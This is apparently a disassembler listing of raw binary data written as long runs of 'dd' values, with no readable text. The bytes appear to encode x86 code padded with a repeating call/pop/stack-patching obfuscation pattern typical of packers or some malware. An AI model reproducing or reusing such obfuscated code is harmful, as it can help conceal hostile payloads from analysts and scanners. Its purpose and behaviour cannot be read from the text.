		dd 0D71404A1h, 4DB4DC75h, 0FFA56F8Ch, 0ECD785B5h, 3AEB8107h
		dd 0FF536B2Eh, 0E91F9D95h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 9A821231h
		dd 4357C021h, 8F0F9F49h, 6, 16298529h, 0B5FF07E9h, 7ECD785h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A4C35545h
		dd 2B081407h, 14E957h, 845A0000h, 9DD85601h, 80197F26h
		dd 2F3081B4h, 6B8341E0h, 0FF5FAA74h, 0E9013995h, 83FE8B07h
		dd 0E929CDBDh, 840F0207h, 57h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 55C35040h, 69BD8B54h, 8B07E907h
		dd 0E9087585h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 38C3B962h, 736A02h, 0C65A3Fh
		dd 0FDBD8900h, 0C707E911h, 0E924AD85h, 7, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0EF816686h, 2EE9F1CBh, 6AFFFFF3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0F65BC350h
		dd 0F8546E8Ch, 799D0960h, 6607E934h, 6198D0BBh,	9D8BC18Bh
		dd 7E91B19h, 861858Dh, 9D8907E9h, 7E92C69h, 24048950h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 9DC35242h
		dd 8A1779C6h, 0C55C7E3Ah, 58C0Fh, 0F530000h, 6A5BFBB7h
		dd 559D8900h, 6A07E91Bh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0A03CBF34h, 2C818D89h
		dd 858D07E9h, 7EDAEEDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 50C35747h, 0E8959458h, 0Eh, 69F7D471h
		dd 0C61FB0AFh, 8257496Bh, 9E9D7EDh, 15000000h, 376C7246h
		dd 3756365Bh, 8E85Bh, 3F9D0000h, 167A5511h, 13E99624h
		dd 0A1000000h, 0C56EFF2Eh, 803D51BCh, 0D90A7DE8h, 1DA51D68h
		dd 835BA140h, 6A05C0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0F6A116C3h
		dd 0FA7C00BAh, 53068206h, 2A58589h, 905F07E9h, 50FE8B66h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 5B4B4h, 0F3BEC291h, 0FE9h, 0A080C500h, 810E9CC0h
		dd 95A09BCAh, 8608892Bh, 13E8F9h, 0D61A0000h, 0D232B532h
		dd 914BFA1Bh, 1C009AFBh, 0E2FF921Fh, 75BD8BE0h,	5F07E909h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 367551C3h, 0BD09C8F8h, 7E93535h, 0AADB531h
		dd 6A07E9h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 14h,	7EC35040h, 0FB995FFh, 6A07E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3B824DC3h
		dd 7ECF8166h, 8D18B3DBh, 0ECD72C8Dh, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0A1895216h
		dd 0F98A5667h, 23D1FF5Bh, 0E90F559Dh, 69BD8307h, 107E91Bh
		dd 71850Fh, 9D8B0000h, 7E912F5h, 6A026Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 437EABC3h
		dd 0BABF42E6h, 0F8BF778Fh, 502ED192h, 489D88Bh,	53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0D966A6C4h, 3B26919Ch, 5E9BBh, 0F6EE0000h, 0FF42CCD9h
		dd 0E902CD95h, 9D9D8907h, 0E907E901h, 0C8Fh, 0E8h, 0ED815D00h
		dd 7EDAEF7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	94C35646h, 68E0FF5h, 8B000000h,	0E91ACDBDh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 9CC7FF9Dh, 1FFFA547h, 0BF0F175Fh, 18C0FD9h, 0F5000000h
		dd 0B406858Dh, 6A07ECh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 3BE85EC3h, 5050EC55h, 0FDF8B52h
		dd 3FBF6631h, 89585A9Bh, 8B662404h, 35FF64DEh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0F1C35242h
		dd 0DBBCC7DFh, 89643DCAh, 25h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 64A044C4h
		dd 12800FC0h, 0E9000000h, 0Dh, 0F1FCCCF3h, 0FE55FDE3h
		dd 0B41A749Bh, 85FFF593h, 7E90F9Dh, 0CE8h, 322EAA00h, 472AEFDh
		dd 8C6525AFh, 8D895687h, 7E90801h, 0FF6A5F5Bh, 0C9B58951h
		dd 5B07E930h, 29A5B5FFh, 860F07E9h, 3, 0FFFE8B66h, 0E9233D95h
		dd 0D9E907h, 0B5890000h, 7E9354Dh, 9D0B00B0h, 7E907D9h
		dd 0BD2B70E6h, 7E91B55h, 816671E4h, 3CC635C3h, 0B4830F61h
		dd 89000000h, 0E9099D8Dh, 0C8B60F07h, 0BAD98B66h, 6, 0BE9h
		dd 0A2596600h, 0CC551BC3h, 0C42D5BEh, 0BD8BC18Bh, 7E916E9h
		dd 0F04E8C1h, 0F766FFBFh, 0D98B66E2h, 8B66C82Bh, 9D18BDFh
		dd 0E930619Dh, 5E907h, 66570000h, 8B5BD88Bh, 0E9311985h
		dd 68A0F07h, 89000000h,	0E9256D85h, 7C08307h, 0CDB50151h
		dd 5B07E90Ah, 6600C083h, 0D03BFE8Bh, 0B830Fh, 38E90000h
		dd 89000000h, 0E900B59Dh, 5D8D8B07h, 0B307E91Eh, 1E18342h
		dd 21840Fh, 0B5890000h,	7E93049h, 1E5DA583h, 8BFE07E9h
		dd 0E924A59Dh, 19958907h, 6607E931h, 0E9F88Bh, 8D000000h
		dd 0ED1DC8B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 2725613Eh, 2EFDB280h
		dd 9D8B5643h, 7E90191h,	6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 88D5BCC3h, 15606CD5h
		dd 3195FF5Ah, 6A07E90Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 519BC353h, 81DAC781h
		dd 0B95B05B5h, 8A1h, 79F38166h,	0FCE1833Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 32C35343h, 0B86B47B2h
		dd 0E6CB80CCh, 4FB5BF66h, 0CACB81FCh, 2B3D8FCCh, 0B1F381C0h
		dd 2B14446Ah, 5DBF66D2h, 0C233AD63h, 0D003E8D1h, 7504E983h
		dd 56006AF4h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 5C374A2h, 4EBBAC65h, 0D424BFBDh,	6A148Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 85D34AC3h, 0DF98A26h, 88h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 6DC35040h, 0CB23B46Ah, 0BD293B69h
		dd 7E90F75h, 320D958Bh,	6A07E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 797F46C3h, 79F41F6Eh
		dd 22E58D8Bh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F9E294C3h, 4860Fh, 0BB660000h
		dd 8B50B0CEh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0EE8h, 0C23E7000h, 0A704AAF5h, 7B9570F6h, 0E9C86428h
		dd 6, 0D122648Ah, 835F1115h, 0E91C2DBDh, 840F0007h, 54h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C5C35242h
		dd 0B8h, 0BD8B5300h, 7E908F5h, 5A8D8D5Fh, 907E94Dh, 0E90C9185h
		dd 13E907h, 0D5840000h,	0BD181080h, 39CD7813h, 67A3BA6Bh
		dd 6BAB2107h, 66E1FF7Ch, 0A996F781h, 22B1BD83h,	0F0007E9h
		dd 44784h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 0D4C7076Dh, 0F98B10FDh, 22B1BD83h
		dd 0F0107E9h, 43284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0A159B7F3h, 0D2D8217h
		dd 8B56AE52h, 0E913899Dh, 0BD835F07h, 7E922B1h,	0C2860F03h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 60B4C357h, 0E2B182B9h,	398D8B66h
		dd 6107E92Ch, 0EE8h, 6C96900h, 68AF9117h, 21AF0083h, 8995E0C3h
		dd 0E923E185h, 8B605F07h, 0E923719Dh, 0D98C6607h, 0D3C737BBh
		dd 4E1802Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	8BC35545h, 37BF5044h, 5F5D2315h, 7D858960h, 6607E913h
		dd 7AF2F681h, 0FC90A61h, 11984h, 0A1958900h, 8B07E923h
		dd 0E90C5585h, 5E907h, 4FF10000h, 339CC92Fh, 0E91CE985h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 3D08260Ch, 8FB3E071h, 319D8B56h,	6607E903h
		dd 0DF37F781h, 3800Fh, 0CB800000h, 0BB669083h, 0E8501337h
		dd 11h,	0D39F0C07h, 0D078A008h,	163F6C3Ah, 2EB997D7h, 58B0FC7h
		dd 0BB000000h, 4187F5A7h, 8E0F905Bh, 6,	1DF9BD89h, 0BD8B07E9h
		dd 7E92AC5h, 0E380006Ah, 73316848h, 8E91F08h, 0E6000000h
		dd 0B6D62682h, 8191082Ah, 70CE2434h, 6A1F17h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 13E812C3h
		dd 0D2000000h, 82FDFEDFh, 0A27D100Bh, 0DECB72FFh, 0BDC82CC5h
		dd 5BF52F43h, 2D995FFh,	6A07E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 611314C3h, 8589F060h
		dd 7ECD785h, 0FEB8166h,	175E945h, 858B0000h, 7ECD77Dh
		dd 0AE9h, 5ED4D200h, 608722CAh,	811ACAA6h, 0BB2267D3h
		dd 1800C740h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 202FC356h, 8BEF4897h
		dd 0ECD781B5h, 75BD8907h, 0F07E923h, 858BD9BFh,	7E91859h
		dd 6800Fh, 0BD8B0000h, 7E90141h, 6A0689h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 66E03DC3h
		dd 94AED381h, 0C059D33h, 858B07E9h, 7E90C55h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 91C35747h, 6B980CF2h
		dd 0BBB7BC6Bh, 335BD8Bh, 468907E9h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 434BDC92h
		dd 9678F75Dh, 60525050h, 0B5E8B966h, 50310F61h,	0B806BF52h
		dd 310F67DAh, 0AE9h, 0E7521C00h, 6E57458Dh, 5AA3A12Dh
		dd 96585A58h, 0D77DB5FFh, 9D8B07ECh, 7E92A21h, 7D605168h
		dd 240481E3h, 1CA1A3AEh, 0ED19D29h, 858D07E9h, 7ECD785h
		dd 6E9h, 68387900h, 893F0E72h, 0E92EB99Dh, 0BB665007h
		dd 489EBC9h, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 293429E2h, 0E908158Dh, 0D995FF07h
		dd 6607E902h, 6118DABFh, 38C0Fh, 8B660000h, 0B185C7FAh
		dd 307E922h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0A9CFC351h,	6E9h, 0DABA5000h
		dd 509C4440h, 1191BD89h, 835B07E9h, 0ECD785BDh,	840F0007h
		dd 55h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 36C35141h, 0F8A0882Ah, 0E3EBAA02h, 46E9FFh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 134694C3h, 772B0B9Bh, 89C2CEB9h, 0E91D7195h,	0C305007h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 1BE98D29h, 8B6607E9h, 57006AF8h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 7AEB82Dh, 2F4BE88Eh
		dd 0BD8317B3h, 7E922B1h, 35850F03h, 6A000003h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 37F4C350h, 0BF0F60D3h, 85BD83D8h, 7ECD7h, 306840Fh
		dd 9D890000h, 7E91325h,	0D785B5FFh, 858907ECh, 7E902D5h
		dd 134995FFh, 0BD0307E9h, 7E920EDh, 0D779B58Bh,	6A07ECh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 1EC72C3h, 0FD8765EEh, 39F9BB52h, 0C75B21C0h,	1000106h
		dd 9642B300h, 0C68A6050h, 6A9661h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 4349AFC3h, 852963DBh
		dd 7E921FDh, 0D785B5FFh, 6A07ECh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0AB5911C3h, 90B7E403h
		dd 0FEB70F38h, 1AB195FFh, 0B58B07E9h, 7ECD779h,	11659D01h
		dd 858B07E9h, 7E92449h,	830F52h, 5B000000h, 0C48689h, 0DF810000h
		dd 53207602h, 320D958Bh, 0FA8B07E9h, 8B04C283h,	205089FAh
		dd 0AE8h, 11E32500h, 0CA10C71h,	8BC293F1h, 0E92A399Dh
		dd 858D5F07h, 7ECECA1h,	8E8h, 5117C600h, 5ACEF06h, 0AD8529C8h
		dd 5F07E934h, 0B88689h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0B1C71AC3h, 6AA11173h
		dd 0FF5F5600h, 0ECD785B5h, 11E95007h, 0EC000000h, 61148EBBh
		dd 0DF54A3h, 0D21441EBh, 24B00EFDh, 0B99D0B5Fh,	0FF07E92Eh
		dd 0E902CD95h, 0DDC3BB07h, 60503094h, 870Fh, 0DF8B0000h
		dd 24348961h, 1D88B60h,	0E919E995h, 0B5FF6107h,	7ECD785h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F7C35242h
		dd 8CE43A18h, 70318574h, 2D95FF86h, 6007E930h, 61C7B70Fh
		dd 1EC9BD83h, 0F0007E9h, 4584h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 342C22Dh, 5013B396h
		dd 0D667E1BFh, 10E8963Dh, 77000000h, 0DF31FA99h, 3969E907h
		dd 2F0BCF0Fh, 3834F15h,	0E919A19Dh, 0B5FF5B07h,	7ECD785h
		dd 19E99D31h, 95FF07E9h, 7E91F9Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 58C35343h, 8410BC4Eh, 0B5FF3407h
		dd 7ECD785h, 20870Fh, 14E80000h, 0B8000000h, 0DF0FC9F0h
		dd 8017BF15h, 42AD17C2h, 9F2272F4h, 899378A9h, 0E934699Dh
		dd 95FF5F07h, 7E90139h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 8C35242h, 0F781665Eh,	83F94D83h, 0E929CDBDh
		dd 840F0207h, 4Ch, 75858BF9h, 6A07E908h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0CFB3C357h
		dd 818589EFh, 0C607E92Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 73FD89C3h, 24AD85C7h
		dd 7E9h, 85890000h, 7E90801h, 0FFF4CDE9h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 58D2708h, 0DCADA1CFh, 999D334Ch, 107E921h, 0E9000D8Dh
		dd 66C18B07h, 8DAF63BFh, 0E9086185h, 0CF806007h, 0C99D297Ah
		dd 6107E920h, 8E890h, 20EC0000h, 4D9DA96Ah, 8B6605DBh
		dd 0BB505FF8h, 5DFD1A3h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0C38DDB3h, 0CA4D325Eh
		dd 0B589527Fh, 7E92A5Dh, 6A006A5Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0AE85C350h
		dd 3A5E444Ah, 12E92AEAh, 1E000000h, 928AFFAAh, 0EF6BEC7Ch
		dd 9AFEF23Bh, 0FCD08AB5h, 6A006A95h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3A43C351h
		dd 0E821409Dh, 0Ah, 6C6AB5FAh, 1C4898Fh, 665BC796h, 0B3A1C7BBh
		dd 0F9858DCEh, 6A07EDBDh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3FBAC351h, 6E85B54h
		dd 84000000h, 0E8DE6406h, 42D780BBh, 0CECB805Bh, 6605C083h
		dd 0E990DA8Bh, 0Dh, 0C61873E2h,	0F0F798Eh, 3C36D145h, 525050C9h
		dd 8ABF5250h, 0F1FF05Ch, 0F525031h, 5A585A31h, 0F310F58h
		dd 83h,	90585A00h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 2C35141h, 6A5C02h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 55C35040h, 5750146Fh, 9E87353h
		dd 63000000h, 0E62BCC50h, 302468FAh, 6A5BDE8Bh,	14E900h
		dd 0E0900000h, 0C924DF98h, 0E212510Bh, 19569035h, 0EDDE2359h
		dd 95FF2F1Bh, 7E90FB9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 88C35242h, 0D88BC9D2h, 29999D29h, 8D8D07E9h
		dd 7ECD72Ch, 1FA19D89h,	0D1FF07E9h, 0EBEF31BFh,	69BD833Ch
		dd 107E91Bh, 85850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0FA6C87C3h, 691EEA96h
		dd 0B5297A90h, 7E9137Dh, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 2F6E49C3h, 0B70F56BEh
		dd 0F38166FEh, 6690D62Eh, 6050FB8Bh, 0E860DD8Ah, 14h, 71D021Dh
		dd 67835DB7h, 2C2AB227h, 0A8BDB7E7h, 43FAE3B8h,	46BE665Eh
		dd 906161E3h, 2CD95FFh,	0E9F907E9h, 0CE5h, 0E8h, 0ED815D00h
		dd 7EDBE03h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	5CC35040h, 79223CA1h, 6E9B88EBh, 0A1EF8166h, 53006AA3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0C3C0CD89h, 6830F71h, 89000000h, 0E922F18Dh,	0DB816607h
		dd 858D0539h, 7ECB406h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0C0C35545h, 8C06DCDFh, 0E909A99Eh, 12h
		dd 564A3036h, 0DACDAB13h, 0F05E5A39h, 22CFB0FFh, 9D8B921Ah
		dd 7E91255h, 880F50h, 89000000h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 25079C3h
		dd 0A498BB92h, 0FF6414D4h, 35h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 2BE079A9h
		dd 64FAAB2Ah, 2589h, 8E0F0000h,	0
		dd 0F9D85FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 8F6634C3h, 37E98D63h, 31F5BD89h
		dd 0BD8B07E9h, 7E91B21h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B5FF17C3h, 7E91E05h
		dd 0BADB501h, 95FF07E9h, 7E9233Dh, 107E9h, 0BE900h, 9410000h
		dd 4AD2DB64h, 3FE4CBF0h, 8000B0DEh, 70E669D3h, 0CB19531h
		dd 71E407E9h, 15E5BD29h, 613C07E9h, 0DA830Fh, 0B5290000h
		dd 7E90119h, 0B60FD98Bh, 11E9C8h, 1E010000h, 5721FB76h
		dd 7BD01F2Ah, 0C9E027C5h, 0BAE6B91Fh, 6, 0B5E626BBh, 66C18B5Fh
		dd 0C1DE0ABFh, 9D8B04E8h, 7E921FDh, 89E2F766h, 0E92ACDB5h
		dd 0E9C82B07h, 0Dh, 0E31C44C0h,	8A82A2BEh, 0C3322CA7h
		dd 66D18BEBh, 0E99FC3BBh, 3, 8BDFBF0Fh,	0E92DE185h, 835B5107h
		dd 816607C0h, 83FAC4C7h, 850F00C0h, 6, 2A4D9D8Bh, 0D03B07E9h
		dd 26830Fh, 8B600000h, 0E91CEDB5h, 13E907h, 25D80000h
		dd 0BAEF8438h, 22B716DFh, 3702FFF2h, 268AFB21h,	29E961AEh
		dd 0F5000000h, 2FE18D8Bh, 850F07E9h, 0
		dd 0F01E183h, 1384h, 0E1A58300h, 0FE07E92Fh, 2DE19589h
		dd 0E9F507E9h, 0
aNAJ		db 'µ·(í',7,'j',0
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 595D85C3h, 4CC1E0AFh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 19F4AC3h, 0FFA017DFh
		dd 0E90C3195h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 23395576h, 7DEB97Eh, 0BD8B0000h
		dd 7E91DEDh, 29FCE183h,	0E9127D85h, 6AFC07h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C9DE27C3h
		dd 0CA433FDh, 0A99D8BEAh, 0B807E90Ah, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0ABC35141h
		dd 0A0759392h, 8BFCC1AFh, 0E91AA99Dh, 0BA07h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8B663BC3h, 0C233ADF9h, 0D003E8D1h, 7504E983h, 0D8BF66F4h
		dd 880D4Ch, 0BF660000h,	958B242Eh, 7E9320Dh, 0F818589h
		dd 8D8B07E9h, 7E922E5h,	1D91BD8Bh, 8B5007E9h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0C1C35141h,	0E86034B2h, 0Bh
		dd 40EF6AB6h, 0A1BE8043h, 66CB2C0Eh, 5F7719BAh,	0C5BD0B50h
		dd 5F07E925h, 6890F61h,	29000000h, 0E92E598Dh, 2DBD8307h
		dd 7E91Ch, 4C840Fh, 9D8B0000h, 7E91F99h, 0B8h, 29BF6600h
		dd 5A8D8DF7h, 0BB07E94Dh, 1E3A2F4Bh, 6AE1FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 4E134BC3h
		dd 742BEA45h, 0B529C4EAh, 7E90B61h, 1D75BD33h, 0BD8307E9h
		dd 7E922B1h, 5F840F00h,	0E9000003h, 6, 89E31D86h, 0BD83A5D0h
		dd 7E922B1h, 62840F01h,	83000003h, 0E922B1BDh, 860F0307h
		dd 31Fh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	5BC35040h, 0D82379Dh, 4F03D01h,	158DBD33h, 2BF07E9h
		dd 60426E18h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	0A6C35141h, 0E84DD8h, 80D98C66h, 6A04E1h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9ABB76C3h, 0BF29B488h, 64801ACEh, 840FC90Ah,	11Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 62C35242h, 8BF98A61h
		dd 0E90C5585h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 20FA6E9Ah, 0EC7E4A68h
		dd 9D8B3B0Dh, 7E91B81h,	1CE98533h, 958907E9h, 7E91A0Dh
		dd 50D88B66h, 0EE9h, 0F67D7C00h, 1246B5AEh, 0B8E2E731h
		dd 899AECFDh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 9E551DC3h, 189BE230h, 0D88BA65Eh
		dd 5368006Ah, 56A09EEEh, 0B422F0BFh, 4815B64h, 8015AC24h
		dd 0BE95Fh, 37740000h, 7AAF5353h, 208AA5B8h, 0D995FF58h
		dd 6A07E902h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8922C353h, 0ECD78585h,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0E081047Ch, 6830FE3h, 1000000h, 0E91359B5h, 122E907h
		dd 858B0000h, 7ECD77Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 33C35242h, 77318233h,	0D9C197EFh, 21C9BD31h
		dd 0C707E9h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	7FC35646h, 88BF7093h, 8B4BFCB8h, 0ECD781B5h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0C78166D3h, 858B41B0h, 7E91859h, 7531BF66h, 29B18589h
		dd 68907E9h, 18219D8Bh,	8BF507E9h, 0E90C5585h, 0DFBB6607h
		dd 446895Dh, 2139BD8Bh,	0E95007E9h, 0Dh, 0C2A6E843h, 4F350BCDh
		dd 0F83AB423h, 243489FCh, 2A5D9D8Bh, 0B5FF07E9h, 7ECD77Dh
		dd 82AC68FCh, 11BBA82Ah, 816BC4EBh, 81532404h, 6A57F4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0FFA63FC3h, 269BD33h, 858D07E9h, 7ECD785h, 1271B589h
		dd 8B5007E9h, 240489F8h, 2D995FFh, 953107E9h, 7E90765h
		dd 0C7816661h, 85C7E5CBh, 7E922B1h, 3, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0C3C35141h,	2879A163h, 18BDBD8Bh
		dd 0F55007E9h, 85BD835Fh, 7ECD7h, 19840Fh, 81660000h, 0E9884ACBh
		dd 2Ah,	6820Fh,	0BD230000h, 7E93219h, 50F98B66h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 850FCEC3h, 6, 22ED9D23h, 0E5BB07E9h,	8308F9BFh, 0E922B1BDh
		dd 850F0307h, 48Ah, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 74C35545h, 970E9A21h,	0D785BD83h, 0F0007ECh
		dd 45D84h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 8333C244h, 0E967DE1Dh, 0Fh, 0EF922FB2h
		dd 967240B8h, 0DAC97532h, 665F1B3Dh, 0FFFAB6BFh, 0ECD785B5h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 9C4705Fh, 0E91F7DBDh, 0EFEBBB07h, 95FF3543h
		dd 7E91349h, 6BEF8166h,	79B58B84h, 6A07ECD7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
